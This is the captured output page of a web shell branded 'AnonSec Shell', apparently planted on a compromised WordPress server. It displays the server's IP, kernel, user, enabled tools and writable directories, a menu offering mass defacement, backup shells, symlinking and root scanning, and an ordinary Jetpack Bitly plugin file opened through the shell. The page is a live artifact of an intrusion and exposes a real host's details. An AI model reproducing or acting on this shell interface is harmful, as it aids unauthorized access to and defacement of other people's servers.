AnonSec Shell
Server IP : 52.91.253.208  /  Your IP : 18.224.54.168   [ Reverse IP ]
Web Server : Apache
System : Linux ip-172-26-9-9 4.19.0-25-cloud-amd64 #1 SMP Debian 4.19.289-1 (2023-07-24) x86_64
User : daemon ( 1)
PHP Version : 7.3.18
Disable Function : NONE
Domains : 3 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apps/wordpress/htdocs/wp-content/plugins_old/jetpack/3rd-party/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /opt/bitnami/apps/wordpress/htdocs/wp-content/plugins_old/jetpack/3rd-party/bitly.php
<?php

/*
 * Fixes issues with the Official Bitly for WordPress
 * https://wordpress.org/plugins/bitly/
 */
if( class_exists( 'Bitly' ) ) {

	if( isset( $GLOBALS['bitly'] ) ) {
		if ( method_exists( $GLOBALS['bitly'], 'og_tags' ) ) {
			remove_action( 'wp_head', array( $GLOBALS['bitly'], 'og_tags' ) );
		}

		add_action( 'wp_head', 'jetpack_bitly_og_tag', 100 );
	}

}

/**
 * jetpack_bitly_og_tag
 *
 * @return null
 */
function jetpack_bitly_og_tag() {
	if( has_filter( 'wp_head', 'jetpack_og_tags') === false ) {
		// Add the bitly part again back if we don't have any jetpack_og_tags added
		if ( method_exists( $GLOBALS['bitly'], 'og_tags' ) ) {
			$GLOBALS['bitly']->og_tags();
		}
	} elseif ( isset( $GLOBALS['posts'] ) && $GLOBALS['posts'][0]->ID > 0 ) {
		printf(  "<meta property=\"bitly:url\" content=\"%s\" /> \n", esc_attr( $GLOBALS['bitly']->get_bitly_link_for_post_id( $GLOBALS['posts'][0]->ID ) ) );
	}

}

Anon7 - 2022
AnonSec Team